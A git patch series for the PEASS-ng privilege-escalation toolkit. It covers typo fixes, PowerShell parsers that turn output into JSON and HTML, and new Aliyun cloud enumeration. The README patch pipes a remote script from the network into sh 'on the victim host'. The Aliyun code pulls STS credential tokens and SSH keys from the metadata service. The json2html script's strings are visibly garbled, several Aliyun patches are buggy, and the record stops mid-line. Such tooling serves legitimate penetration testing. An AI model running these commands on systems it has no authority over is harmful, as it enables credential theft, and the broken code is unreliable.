From 6da7bfb7f6fbf59792e802ee37041f624a01e1ae Mon Sep 17 00:00:00 2001 From: lenhart Date: Wed, 15 Nov 2023 11:51:33 +0100 Subject: [PATCH 01/69] Fix Typo in SNMP Check --- winPEAS/winPEASps1/winPEAS.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/winPEAS/winPEASps1/winPEAS.ps1 b/winPEAS/winPEASps1/winPEAS.ps1 index 58bf2eb..afe3986 100644 --- a/winPEAS/winPEASps1/winPEAS.ps1 +++ b/winPEAS/winPEASps1/winPEAS.ps1 @@ -809,7 +809,7 @@ if ( Test-Path "HKCU:\Software\ORL\WinVNC3\Password") { Write-Host " WinVNC foun Write-Host "" if ($TimeStamp) { TimeElapsed } Write-Host -ForegroundColor Blue "=========|| Checking for SNMP Passwords" -if ( Test-Path "HKLM:\SYSTEM\CurrentControlSet\Services\SNMP" ) { Write-Host "SNPM Key found at HKLM:\SYSTEM\CurrentControlSet\Services\SNMP" }else { Write-Host "No SNPM found." } +if ( Test-Path "HKLM:\SYSTEM\CurrentControlSet\Services\SNMP" ) { Write-Host "SNMP Key found at HKLM:\SYSTEM\CurrentControlSet\Services\SNMP" }else { Write-Host "No SNMP found." } Write-Host "" From 340256b3b395d862fb659e4df5bf994a32c1321e Mon Sep 17 00:00:00 2001 From: Signum21 Date: Tue, 28 Nov 2023 00:38:13 +0100 Subject: [PATCH 02/69] Better error handling in FileAnalysis The previous specific check doesn't handle the following exception, causing it to be catched by the last try/catch block. Error looking for regexes inside files: System.AggregateException: One or more errors occurred. ---> System.UnauthorizedAccessException: Access to the path '' is denied. --- winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs index 05335e0..0aa85b2 100644 --- a/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs +++ b/winPEAS/winPEASexe/winPEAS/Checks/FileAnalysis.cs @@ -444,7 +444,7 @@ namespace winPEAS.Checks foundRegexes[regex_obj.name][regex.name] = fileResults; } } - catch (System.IO.IOException) + catch (Exception ex) { // Cannot read the file } From ed4d60c64de169bec5ecc968bbf6d5d104b1c278 Mon Sep 17 00:00:00 2001 From: Aidan Feess <145503050+AidanFeess@users.noreply.github.com> Date: Thu, 14 Dec 2023 12:34:32 -0800 Subject: [PATCH 03/69] Add winpeas to json powershell parser --- parsers/peas2json.ps1 | 205 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 205 insertions(+) create mode 100644 parsers/peas2json.ps1 diff --git a/parsers/peas2json.ps1 b/parsers/peas2json.ps1 new file mode 100644 index 0000000..ffa1217 --- /dev/null +++ b/parsers/peas2json.ps1 @@ -0,0 +1,205 @@ +# Based on https://github.com/carlospolop/PEASS-ng/blob/master/parsers/peas2json.py + +# Pattern to identify main section titles +$CHAR_1 = [String][char]0x2550 # ═ +$CHAR_2 = [String][char]0x2554 # ╔ +$CHAR_3 = [String][char]0x2563 # ╣ +$CHAR_4 = [String][char]0x255a # ╚ +$TITLE_CHARS = [String][char]0x2550, [String][char]0x2554, [String][char]0x2563, [String][char]0x255a # ═, ╔, ╣, ╚ +$TITLE1_PATTERN = $CHAR_1*14 + $CHAR_3 #══════════════╣# +#The size of the first pattern varies, but at least should be that large +$TITLE2_PATTERN = $CHAR_2 + $CHAR_1*10 + $CHAR_3 #╔══════════╣# +$TITLE3_PATTERN = $CHAR_1*2 + $CHAR_3 #══╣# +$INFO_PATTERN = $CHAR_4 #╚ # + +$encoding = [System.Text.Encoding]::UTF8 + +# Patterns from color +## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors) +$global:COLORS = @{ + "REDYELLOW" = "\x1b\[1;31;103m"; + "RED" = "\x1b\[1;31m"; + "GREEN" = "\x1b\[1;32m"; + "YELLOW" = "\x1b\[1;33m"; + "BLUE" = "\x1b\[1;34m"; + "MAGENTA" = "\x1b\[1;95m", "\x1b\[1;35m"; + "CYAN" = "\x1b\[1;36m", "\x1b\[1;96m"; + "LIGHT_GREY" = "\x1b\[1;37m"; + "DARKGREY" = "\x1b\[1;90m"; +} + +$global:FINAL_JSON = @{} + +$global:C_SECTION = $FINAL_JSON +$global:C_MAIN_SECTION = $FINAL_JSON +$global:C_2_SECTION = $FINAL_JSON +$global:C_3_SECTION = $FINAL_JSON + +function is_section { + param ( + [string] $line, + [string] $pattern + ) + + # Checks ifa line matches the pattern + return $line.contains($pattern) +} + +function clean_colors { + param ( + [string] $line + ) + + # Given a line, clean the colors inside of it + + $line = $line -replace '\x1b\[[0-9;]*m','' + $line = $line.Trim() + return $line + +} + +function clean_title { + param ( + [string] $line + ) + # Given a title, clean it + foreach($c in $TITLE_CHARS){ + $line = $line.Replace($c, "") + } + + $line = [System.Text.Encoding]::ASCII.GetString($encoding.GetBytes($line)) + $line = $line.Trim() + return $line + +} + +function get_colors { + param ( + [string] $line + ) + + [hashtable]$colors = @{} + + $global:COLORS.GetEnumerator() | ForEach-Object { + $colors[$_.Key] = '' + foreach($reg in $_.Value){ # eq reg in regexs in py + $split_color = $line -split $reg + # Start from index 1 as the index 0 isn't colored + if($split_color -And $split_color.Length -gt 1){ + $split_color = $split_color | Select-Object -Skip 1 + + # For each potential color, find the string before any possible color termination + foreach($potential_color_str in $split_color){ + $color_str1 = ($potential_color_str -split "\x1b")[0] + $color_str2 = ($potential_color_str -split "\[0m")[0] + $color_str = $color_str2 + if($color_str1.Length -lt $color_str2.Length){ + $color_str = $color_str1 + } + + if($color_str){ + $color_str = clean_colors $color_str.trim() + # Avoid having the same color for the same string + if($color_str){ + $colors[$_.Key] += $color_str + } + } + } + } + + + } + if(-not $colors[$_.Key]){ + $colors.Remove($_.Key) + } + } + + return $colors + +} + +function parse_title { + param ( + [string] $line + ) + # Given a title, clean it + + $cleaned_title_pt = clean_title($line) + return clean_colors $cleaned_title_pt + +} + +function parse_line { + param ( + [string] $line + ) + #Parse the given line, adding it to the FINAL_JSON structure + + if( $line.Contains("Cron jobs") ){ + $a = 1 + } + + # for debug + #$line + #Start-Sleep -Milliseconds 500 + + if(is_section $line $TITLE1_PATTERN){ + $title = parse_title $line + #New-Object System.Collections.Generic.List[System.Object] + $FINAL_JSON.add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) + $global:C_MAIN_SECTION = $global:FINAL_JSON.$title + $global:C_SECTION = $global:C_MAIN_SECTION + } + elseif(is_section $line $TITLE2_PATTERN){ + $title = parse_title $line + $global:C_MAIN_SECTION.'sections'.Add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) + $global:C_2_SECTION = $global:C_MAIN_SECTION.'sections'.$title + $global:C_SECTION = $global:C_2_SECTION + } + elseif(is_section $line $TITLE3_PATTERN){ + $title = parse_title $line + $global:C_2_SECTION.'sections'.add($title, @{ "sections" = @{}; "lines" = @(); "infos" = @() }) + $global:C_3_SECTION = $global:C_2_SECTION.'sections'.$title + $global:C_SECTION = $global:C_3_SECTION + } + elseif(is_Section $line $INFO_PATTERN){ + $title = parse_title $line + $global:C_SECTION["infos"] += $title + } + + #If here, then it's text + else{ + #If no main section parsed yet, pass + if($global:C_SECTION -eq @{}){ + return + } + $global:C_SECTION['lines'] += @{"raw_text" = $line; "colors" = get_colors $line;"clean_text" = clean_title(clean_colors $line)} + } +} + +function main { + foreach($line in Get-Content -LiteralPath $OUTPUT_PATH){ + $line = $line.Trim() + #Write-Host $line + if(-not $line -or -not (clean_colors $line)){ #Remove empty lines or lines just with colors hex + continue + } + + parse_line $line + } + + $FINAL_JSON | ConvertTo-Json -depth 100 | Out-File $JSON_PATH + +} + + +try { + $OUTPUT_PATH = $(Read-Host "Output Path") + $JSON_PATH = $(Read-Host "JSON Path") +} +catch { + Write-Host "Error: Please pass the peas.out file and the path to save the json`npeas2json.ps1 " + exit +} + +main \ No newline at end of file From f5339ae80caee50bd151f2d5f12b0b39a741cdf0 Mon Sep 17 00:00:00 2001 From: Aidan Feess <145503050+AidanFeess@users.noreply.github.com> Date: Thu, 14 Dec 2023 12:35:20 -0800 Subject: [PATCH 04/69] add json to html powershell parser --- parsers/json2html.ps1 | 398 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 398 insertions(+) create mode 100644 parsers/json2html.ps1 diff --git a/parsers/json2html.ps1 b/parsers/json2html.ps1 new file mode 100644 index 0000000..b22e07d --- /dev/null +++ b/parsers/json2html.ps1 @@ -0,0 +1,398 @@ +# Based on https://github.com/carlospolop/PEASS-ng/blob/master/parsers/json2html.py +# TODO: create the script +function parse_dict { + param ( + [System.Object] $json_dict + ) + + # Parse the given dict from the given json adding it to the HTML file + $dict_text = "" + foreach($obj in $json_dict.psobject.properties){ + $key = $obj.Name + $value = $obj.Value + $n = Get-Random -Minimum 1 -Maximum 999999 + $infos = [System.Collections.ArrayList]@() + + foreach($info in $value."infos"){ + if(([string]$info).StartsWith('http')){ + $infos.Add("$info
`n") + } + else{ + $infos.Add([string]$info + "
`n") + } + } + + $dict_text += "`t`t
`n" + $dict_text += "" + ($infos -join "") + "" + $dict_text += "
`n" + + if($value."lines"){ + $dict_text += $("`n" + (parse_list $value."lines") + "`n") + } + + if($value."sections"){ + $dict_text += (parse_dict $value."sections") + } + } + + return $dict_text + +} + +function parse_list { + param ( + [System.Object] $json_list + ) + # Parse the given list from the given json adding it to the HTML file + + $color_text="" + $color_class="" + + $special_char = [String][char]0x2550 + $special_char_2 = [String][char]0x2563 + + foreach($i in $json_list){ + if(-not $i."clean_text".Contains($special_char*3)){ + if($i."clean_text"){ + $color_text += "
" + $replacement + "") + if($text.Contains($special_char_2)){ + $text = $text.Replace($special_char_2, "
  • ") + $text += "
  • " + } + } + $color_text += "" + $color_class + " " + } + $color_text += "no_color`" >" + $text + "
    `n" + } + + } + } + return $color_text + "`t`t`t
    `n" +} + +function parse_json { + param ( + $json_data + ) + + $body = "" + $i = 1 + + foreach($obj in $json_data.psobject.properties){ + $key = $obj.Name + $value = $obj.Value + $body += " `t`t
    `n
    `n" + $i += 1 + foreach($obj_2 in $value.psobject.properties) { + $key1 = $obj_2.Name + $value1 = $obj_2.Value + if($value1.GetType().BaseType -eq [System.Object]){ + $body += parse_dict $value1 + } + + } + + $body += "`t`t`t
    `n" + } + + return $body +} + +$HTML_HEADER = @" + + + + + + + + + +"@ + +$HTML_END = @" + + + +"@ + +$HTML_INIT_BODY = @" + +
    +
    + +
    + + + +
    +"@ + +$body = @" + +
    +
    + +
    + + + +
    +"@ + +function main { + $json_data = Get-Content $JSON_PATH -Raw | ConvertFrom-Json + $html = $HTML_HEADER + $html += $HTML_INIT_BODY + $html += parse_json $json_data + $html += $HTML_END + + $html | Out-File $HTML_PATH +} + +try { + $JSON_PATH = $(Read-Host "JSON Path") + $HTML_PATH = $(Read-Host "HTML Path") +} +catch { + Write-Host "Error: Please pass the peas.out file and the path to save the html`npeas2html.ps1 " + exit +} + +main \ No newline at end of file From c131c20a43c2ae69ff28861e53097e41071d4bf4 Mon Sep 17 00:00:00 2001 From: Aidan Feess <145503050+AidanFeess@users.noreply.github.com> Date: Thu, 14 Dec 2023 14:41:14 -0600 Subject: [PATCH 05/69] fix typo --- parsers/json2html.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/parsers/json2html.ps1 b/parsers/json2html.ps1 index b22e07d..fb3bf1c 100644 --- a/parsers/json2html.ps1 +++ b/parsers/json2html.ps1 @@ -391,8 +391,8 @@ try { $HTML_PATH = $(Read-Host "HTML Path") } catch { - Write-Host "Error: Please pass the peas.out file and the path to save the html`npeas2html.ps1 " + Write-Host "Error: Please pass the peas.out file and the path to save the html`njson2html.ps1 " exit } -main \ No newline at end of file +main From 61a4f91baa85a00cbba767c70cf47af36d9df2f4 Mon Sep 17 00:00:00 2001 From: Aidan Feess <145503050+AidanFeess@users.noreply.github.com> Date: Thu, 14 Dec 2023 14:45:01 -0600 Subject: [PATCH 06/69] remove irrelevant error message text --- parsers/json2html.ps1 | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/parsers/json2html.ps1 b/parsers/json2html.ps1 index fb3bf1c..c50e660 100644 --- a/parsers/json2html.ps1 +++ b/parsers/json2html.ps1 @@ -391,7 +391,7 @@ try { $HTML_PATH = $(Read-Host "HTML Path") } catch { - Write-Host "Error: Please pass the peas.out file and the path to save the html`njson2html.ps1 " + Write-Host "Error: Please pass the peas.out file and the path to save the html" exit } From ad357d538a59f5c05ef313e8d30eac0820435a66 Mon Sep 17 00:00:00 2001 From: Aidan Feess <145503050+AidanFeess@users.noreply.github.com> Date: Thu, 14 Dec 2023 14:46:00 -0600 Subject: [PATCH 07/69] remove irrelevant error message text --- parsers/peas2json.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/parsers/peas2json.ps1 b/parsers/peas2json.ps1 index ffa1217..c758caf 100644 --- a/parsers/peas2json.ps1 +++ b/parsers/peas2json.ps1 @@ -198,8 +198,8 @@ try { $JSON_PATH = $(Read-Host "JSON Path") } catch { - Write-Host "Error: Please pass the peas.out file and the path to save the json`npeas2json.ps1 " + Write-Host "Error: Please pass the peas.out file and the path to save the json" exit } -main \ No newline at end of file +main From 28a8f4b3e9d0b6b44e11ec2c7f0bcf32ac843795 Mon Sep 17 00:00:00 2001 From: d4t4s3c Date: Sat, 13 Jan 2024 13:40:24 +0100 Subject: [PATCH 08/69] useful for when on the victim host we have access to the internet but we do not have: curl, wget or netcat --- linPEAS/README.md | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/linPEAS/README.md b/linPEAS/README.md index 55585f2..bbedb97 100755 --- a/linPEAS/README.md +++ b/linPEAS/README.md @@ -18,6 +18,11 @@ Find the **latest versions of all the scripts and binaries in [the releases page ```bash # From github curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh + +# Without curl +python -c "import urllib.request; urllib.request.urlretrieve('https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')" + +python3 -c "import urllib.request; urllib.request.urlretrieve('https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh', 'linpeas.sh')" ``` ```bash From 5c4f81d0d4e1607489d9dc0a527f67ed040b9765 Mon Sep 17 00:00:00 2001 From: mcdruid Date: Tue, 16 Jan 2024 16:11:42 +0000 Subject: [PATCH 09/69] fix typo in 'run unshare' container check --- linPEAS/builder/linpeas_parts/2_container.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/linPEAS/builder/linpeas_parts/2_container.sh b/linPEAS/builder/linpeas_parts/2_container.sh index 429e25d..39235bf 100644 --- a/linPEAS/builder/linpeas_parts/2_container.sh +++ b/linPEAS/builder/linpeas_parts/2_container.sh @@ -324,7 +324,7 @@ if [ "$inContainer" ]; then checkProcSysBreakouts print_list "/proc mounted? ................. $proc_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "/dev mounted? .................. $dev_mounted\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," - print_list "Run ushare ..................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED}," + print_list "Run unshare .................... $run_unshare\n" | sed -${E} "s,Yes,${SED_RED}," print_list "release_agent breakout 1........ $release_agent_breakout1\n" | sed -${E} "s,Yes,${SED_RED}," print_list "release_agent breakout 2........ $release_agent_breakout2\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," print_list "core_pattern breakout .......... $core_pattern_breakout\n" | sed -${E} "s,Yes,${SED_RED_YELLOW}," From a8b7084b3e3db2137a081873c649602204e835c7 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 22 Jan 2024 21:07:32 +0800 Subject: [PATCH 10/69] feat: aliyun cloud support [incomplete] --- linPEAS/builder/linpeas_parts/3_cloud.sh | 62 ++++++++++++++++++++++++ 1 file changed, 62 insertions(+) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index 39f53e4..bd573fc 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -30,6 +30,13 @@ check_do(){ fi } +check_aliyun_ecs () { + is_aliyun_ecs="No" + if [ -f "/etc/cloud/cloud.cfg.d/aliyun_cloud.cfg" ]; then + is_aliyun_ecs="Yes" + fi +} + check_ibm_vm(){ is_ibm_vm="No" if grep -q "nameserver 161.26.0.10" "/etc/resolv.conf" && grep -q "nameserver 161.26.0.11" "/etc/resolv.conf"; then @@ -131,6 +138,8 @@ check_aws_codebuild print_list "AWS Codebuild? ....................... $is_aws_codebuild\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_do print_list "DO Droplet? .......................... $is_do\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," +check_aliyun_ecs +print_list "Aliyun ECS? .......................... $is_aliyun_ecs\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_ibm_vm print_list "IBM Cloud VM? ........................ $is_ibm_vm\n"$NC | sed "s,Yes,${SED_RED}," | sed "s,No,${SED_GREEN}," check_az_vm @@ -140,6 +149,59 @@ print_list "Azure APP? ........................... $is_az_app\n"$NC | sed "s,Yes echo "" +if [ "$is_aliyun_ecs" = "Yes" ]; then + aliyun_req="" + aliyun_token="" + if [ "$(command -v curl)" ]; then + aliyun_token=$(curl -X PUT "http://100.100.100.200/latest/api/token" -H "X-aliyun-ecs-metadata-token-ttl-seconds:1000") + aliyun_req='curl -s -f -H "X-aliyun-ecs-metadata-token: $aliyun_token"' + elif [ "$(command -v wget)" ]; then + aliyun_token=$(wget -q -O - --method PUT "http://100.100.100.200/latest/api/token" --header "X-aliyun-ecs-metadata-token-ttl-seconds:1000") + aliyun_req='wget -q -O --header "X-aliyun-ecs-metadata-token: $aliyun_token"' + else + echo "Neither curl nor wget were found, I can't enumerate the metadata service :(" + fi + + if [ "$aliyun_token" ]; then + print_2title "Aliyun ECS Enumeration" + print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata" + # Todo: print_info "Hacktricks Documents needs to be updated" + + print_3title "Instance Info" + i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname) + [ "$i_hostname" ] && echo "Hostname: $i_hostname" + i_instance_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/instance-id) + [ "i_instance_id" ] && echo "Instance ID: $i_instance_id" + i_aliyun_owner_account=$(eval $aliyun_req http://i00.100.100.200/latest/meta-data/owner-account-id) + [ "$i_aliyun_owner_account" ] && echo "Aliyun Owner Account: $i_aliyun_owner_account" + i_region_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/region-id) + [ "$i_region_id" ] && echo "Region ID: $i_region_id" + i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id) + [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" + + print_3title "Network Info" + net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers) + [ "$net_dns" ] && echo "DNS: $net_dns" + net_mac=$(eval $aliyun_req http:// + + print_3title "Service account " + for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do + echo " Name: $sa" + echo " STS-Token: "$(eval $gcp_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa") + echo " ==============" + done + + print_3title "Possbile admin ssh Public keys" + for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/") + echo " Name: $key" + echo " Key: "$(eval $gcp_req "http://100.100.100.200/latest/meta-data/public-keys/$key/openssh-key") + echo " ==============" + done + + + fi +fi + if [ "$is_gcp" = "Yes" ]; then gcp_req="" if [ "$(command -v curl)" ]; then From 9865e2a5b0ec3916463c7614350e574e58aa0511 Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 22 Jan 2024 21:32:48 +0800 Subject: [PATCH 11/69] feat: aliyun network enumeration --- linPEAS/builder/linpeas_parts/3_cloud.sh | 26 ++++++++++++++++++++++-- 1 file changed, 24 insertions(+), 2 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index bd573fc..20b0f41 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -167,6 +167,7 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then print_info "https://help.aliyun.com/zh/ecs/user-guide/view-instance-metadata" # Todo: print_info "Hacktricks Documents needs to be updated" + echo "" print_3title "Instance Info" i_hostname=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/hostname) [ "$i_hostname" ] && echo "Hostname: $i_hostname" @@ -179,11 +180,32 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then i_zone_id=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/zone-id) [ "$i_zone_id" ] && echo "Zone ID: $i_zone_id" + echo "" print_3title "Network Info" + i_pub_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/public-ipv4) + [ "$i_pub_ipv4" ] && echo "Public IPv4: $i_pub_ipv4" + i_priv_ipv4=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/private-ipv4) + [ "$i_priv_ipv4" ] && echo "Private IPv4: $i_priv_ipv4" net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers) [ "$net_dns" ] && echo "DNS: $net_dns" - net_mac=$(eval $aliyun_req http:// + + for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do + echo " Mac: $mac" + echo " Mac VPC: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id) + echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id) + echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask) + echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id) + echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block) + echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block) + echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block) + echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks) + echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s) + echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s) + echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway) + echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway) + done + echo "" print_3title "Service account " for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do echo " Name: $sa" @@ -191,6 +213,7 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then echo " ==============" done + echo "" print_3title "Possbile admin ssh Public keys" for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/") echo " Name: $key" @@ -198,7 +221,6 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then echo " ==============" done - fi fi From 74ccf2c08a41c51a75563009c7638a3a03bb637d Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 22 Jan 2024 21:39:41 +0800 Subject: [PATCH 12/69] fix: missing do at the of for --- linPEAS/builder/linpeas_parts/3_cloud.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index 20b0f41..1b414c4 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -203,6 +203,7 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s) echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway) echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway) + done echo "" @@ -215,12 +216,13 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then echo "" print_3title "Possbile admin ssh Public keys" - for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/") + for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/") do echo " Name: $key" echo " Key: "$(eval $gcp_req "http://100.100.100.200/latest/meta-data/public-keys/$key/openssh-key") echo " ==============" done + fi fi From 0c5b8194d3e01315f99dd8b276903549881bf57d Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 22 Jan 2024 21:46:12 +0800 Subject: [PATCH 13/69] format: better format of aliyun network print --- linPEAS/builder/linpeas_parts/3_cloud.sh | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index 1b414c4..db8082d 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -189,21 +189,22 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then net_dns=$(eval $aliyun_req http://100.100.100.200/latest/meta-data/dns-conf/nameservers) [ "$net_dns" ] && echo "DNS: $net_dns" + echo "========" for mac in $(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/); do echo " Mac: $mac" - echo " Mac VPC: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id) echo " Mac interface id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/network-interface-id) echo " Mac netmask: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/netmask) + echo " Mac vpc id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-id) + echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block) + echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks) echo " Mac vswitch id: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-id) echo " Mac vswitch cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-cidr-block) echo " Mac vswitch cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vswitch-ipv6-cidr-block) - echo " Mac vpc cidr: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-cidr-block) - echo " Mac vpc cidr (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/vpc-ipv6-cidr-blocks) echo " Mac private ips: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/private-ipv4s) echo " Mac private ips (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6s) echo " Mac gateway: "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/gateway) echo " Mac gateway (v6): "$(eval $aliyun_req http://100.100.100.200/latest/meta-data/network/interfaces/macs/$mac/ipv6-gateway) - + echo "=======" done echo "" @@ -216,9 +217,9 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then echo "" print_3title "Possbile admin ssh Public keys" - for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/") do + for key in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/public-keys/"); do echo " Name: $key" - echo " Key: "$(eval $gcp_req "http://100.100.100.200/latest/meta-data/public-keys/$key/openssh-key") + echo " Key: "$(eval $gcp_req "http://100.100.100.200/latest/meta-data/public-keys/$keyopenssh-key") echo " ==============" done From 7daefe700fa1b860adfbb43831f6e9cc4ac3314b Mon Sep 17 00:00:00 2001 From: Esonhugh Date: Mon, 22 Jan 2024 21:49:22 +0800 Subject: [PATCH 14/69] update: bug of req var error --- linPEAS/builder/linpeas_parts/3_cloud.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/linPEAS/builder/linpeas_parts/3_cloud.sh b/linPEAS/builder/linpeas_parts/3_cloud.sh index db8082d..42dc056 100644 --- a/linPEAS/builder/linpeas_parts/3_cloud.sh +++ b/linPEAS/builder/linpeas_parts/3_cloud.sh @@ -211,7 +211,7 @@ if [ "$is_aliyun_ecs" = "Yes" ]; then print_3title "Service account " for sa in $(eval $aliyun_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/"); do echo " Name: $sa" - echo " STS-Token: "$(eval $gcp_req "http://100.100.100.200/latest/meta-data/ram/security-credentials/$sa") + echo " STS Token: 